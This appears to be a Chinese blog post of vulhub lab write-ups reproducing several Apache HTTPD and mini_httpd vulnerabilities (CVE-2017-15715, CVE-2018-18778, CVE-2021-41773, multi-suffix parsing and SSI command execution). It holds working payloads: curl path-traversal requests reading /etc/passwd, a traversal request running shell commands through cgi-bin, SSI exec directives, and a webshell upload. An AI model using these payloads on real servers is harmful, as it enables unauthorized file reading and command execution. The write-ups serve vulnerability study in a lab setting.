vulhub-httpd

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

一 漏洞描述

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

受影响版本

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/httpd/CVE-2017-15715]
└─# docker-compose build
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

访问ip:端口

在这里插入图片描述

上传1.php文件显示bad file

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7BV3RFRE-1664587884130)(../../../../img/httpd/1.png)]

抓取数据包,发送到repeater模块,点击hex 修改1.php位置

在这里插入图片描述

因为上传文件重名,所以更改hex位置在evil.php位置,修改后发送数据包成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-paT6kfCq-1664587884132)(../../../../img/httpd/3.png)]

访问浏览器

http://192.168.1.240:8080/evil.php%0a

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t7HG9HsV-1664587884133)(../../../../img/httpd/4.png)]

查看配置文件

root@87302cb9e5ac:/var/www/html# cat /etc/apache2/conf-available/docker-php.conf  -n
     1  <FilesMatch \.php$>
     2          SetHandler application/x-httpd-php
     3  </FilesMatch>
     4
     5  DirectoryIndex disabled
     6  DirectoryIndex index.php index.html
     7
     8  <Directory /var/www/>
     9          Options -Indexes
    10          AllowOverride All
    11  </Directory>

FileMatch的内容是将以.php结尾的文件都进行php解析,而$符号会匹配换行符

四 参考链接

https://blog.csdn.net/hiahiaQ_Q/article/details/123348814

Apache HTTPD 多后缀解析漏洞

一 漏洞描述

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

AddType text/html .html
AddLanguage zh-CN .cn

其给后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php

​ 那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/httpd/apache_parsing_vulnerability]
└─# docker-compose build
└─# docker-compose up -d

目标 kali 192.168.1.240

三 漏洞复现

访问ip:端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e7wkMz9V-1664587884135)(../../../../img/httpd/5.png)]

上传shell.php文件,上传失败

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zJhfVP29-1664587884138)(../../../../img/httpd/6.png)]

更改数据包,添加jpg后缀发现上传成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KAUEt0d3-1664588073480)(http://angus.gq/httpd/7.png#pic_center)]

通过蚁剑连接http://192.168.1.240:80/uploadfiles/shell.php.jpg

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6LlBYpel-1664587884140)(../../../../img/httpd/8.png)]

四 参考链接

https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/

mini_httpd任意文件读取漏洞(CVE-2018-18778)

一 漏洞描述

Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。

在mini_httpd开启虚拟主机模式的情况下,用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

见上述代码,分析如下:

  • 当HOST=example.com、FILE=index.html的时候,上述语句结果为example.com/index.html,文件正常读取。
  • 当HOST为空、FILE=etc/passwd的时候,上述语句结果为/etc/passwd

后者被作为绝对路径,于是读取到了/etc/passwd,造成任意文件读取漏洞。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/mini_httpd/CVE-2018-18778]
└─# docker-compose up -d

目标 kali 192.168.1.240

三 漏洞复现

访问页面进行抓包,修改数据:发送请求是将Host置空,PATH的值是文件绝对路径:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-al798eph-1664587884141)(../../../../img/httpd/9.png)]

四 防护

请下载最新ACME mini_httpd 1.3版本

Mini_httpd官方网址:http://www.acme.com/software/mini_httpd/

五 参考链接

https://www.seebug.org/vuldb/ssvid-97633

Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)

一 漏洞描述

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:

  • 穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的)

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

漏洞版本

版本等于2.4.49

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/httpd/CVE-2021-41773]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

环境启动后,访问页面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OpRW6RLG-1664587884141)(../../../../img/httpd/10.png)]

使用curl命令发送payload( icons 必须存在且可访问):

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-arB9eEPf-1664587884142)(../../../../img/httpd/11.png)]

靶机开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cg命令:

curl -v --data "echo;id" 'http://192.168.1.240:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SGXKs7R2-1664588142002)(http://angus.gq/httpd/12.png#pic_center)]
四 防护

升级到Apache HTTP Server最新安全版本,或使用Apache HTTP Server 非 2.4.49版

五 参考链接

https://www.jianshu.com/p/cbc3bb880ce5

Apache SSI 远程命令执行漏洞

一 漏洞描述

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/httpd/ssi-rce]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

环境启动后,访问页面
[外链图片转存中...(img-U7V46W81-1664587884144)]

在上传文件时,是无法直接上传木马文件,编译后缀为shtml文件

<!--#exec cmd="whoami" -->
<!--#exec cmd="ls" -->
<!--#exec cmd="id" -->

在这里插入图片描述

四 防护

1.可以关闭SSI这个功能。

2.过滤特殊字符串(<,>,#,-,",'

五 参考链接

https://www.cnblogs.com/huazige/p/15026196.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值